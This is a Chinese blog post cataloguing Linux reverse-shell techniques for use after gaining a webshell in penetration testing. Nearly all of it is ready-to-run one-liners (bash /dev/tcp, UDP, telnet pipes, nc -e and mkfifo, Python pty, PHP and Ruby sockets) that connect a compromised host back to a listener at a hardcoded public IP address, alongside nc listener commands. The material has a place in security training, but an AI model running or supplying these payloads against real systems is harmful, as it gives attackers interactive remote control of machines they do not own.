返回顶部

linux反弹shell的各种姿势

题记

        搞完xss钓鱼一时不知道服务器还能干点什么,然后我就想到我cs搞了Windows,当然也要弹linux的shell,所以操作下linux反弹shell的命令。

        在渗透测试的过程中,在拿到webshell以后,如果目标主机是Windows主机,则是 通过开3389端口在远程连接,如果目标主机是linux服务器,一般我们都会选择反弹 shell来进行操作。在这里总结下反弹shell常见的几种姿势。

准备工作

        外网服务器103.234.72.5

        本地Kali一台,优班图一台。

Bash反弹

   注意之前使用nc监听端口反弹shell时都会有一个警告:Warning: forward host lookup failed for bogon: Unknown host,根据nc帮助文档的提示加上-n参数就可以不产生这个警告了,-n参数代表在建立连接之前不对主机进行dns解析。

参考文章:

        http://sohu.com/a/243607685_354899

        linux反弹shell的姿势-Avenue-le.pdf

方法一

        监听的vps使用命令:nc -nlvp 7777

        被控机器使用命令:

                命令1:bash -i >& /dev/tcp/103.234.72.5/7777 0>&1

                命令2:bash -c 'exec bash -i &>/dev/tcp/103.234.72.5/7777 <&1'

        #bash ‐i 打开一个交互的bash

        # >& 将标准错误输出重定向到标准输出

        #/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为 要反弹到的主机ip,port为端口

        # 0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互

Kali外网攻击机

内网受害者

方法二

        在使用这个进行shell反弹时,不能使用python获取一个标准的shell,需要使用 nc再次反弹之后,使用python获取标准化输出。

        监听的vps使用命令:nc -nlvp 7777

被控机器使用命令:exec 5<>/dev/tcp/103.234.72.5/7777;cat <&5 | while read line; do $line 2>&5 >&5; done

方法三

命令一:exec 0&0 2>&0 0<&196;exec 196<>/dev/tcp/103.234.72.5/7777; sh <&196 >&196 2>&196

命令二:/bin/bash -i > /dev/tcp/103.234.72.5/6666 0<&1 2>&1

方法四

0<&196;exec 196<>/dev/tcp/103.234.72.5/7777; sh <&196 >&196 2>&196

bash UDP 反弹

        nc -u -nlvp 7777

        sh -i >& /dev/udp/103.234.72.5/7777 0>&1

telnet反弹

方法一

        nc -nlvp 6666

        nc -nlvp 7777

        telnet 103.234.72.5 6666 | /bin/bash | telnet 103.234.72.5 7777

        6666输入命令7777输出结果

方法二

        mknod a p; telnet 103.234.72.5 7777 0<a | /bin/bash 1>a(不好用)

nc反弹

        nc ‐e /bin/bash 103.234.72.5 7777

        如果目标主机linux发行版本没有 -e 参数,还有以下方式:

方法一

        rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 103.234.72.5 7777 >/tmp/f

exec 反弹

        0<&196;exec 196<>/dev/tcp/103.234.72.5/7777; sh <&196 >&196 2>&196

python反弹

        export RHOST="103.234.72.5";export RPORT=7777;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

PHP反弹

        php -r '$sock=fsockopen("103.234.72.5",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby 反弹

        ruby -rsocket -e 'exit if fork;c=TCPSocket.new("103.234.72.5","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

其他

        我这里写了一些常用的,当其他的用的时候在去深入研究。

posted @ 2021-01-17 20:40  11阳光  阅读(1149)  评论(0编辑  收藏  举报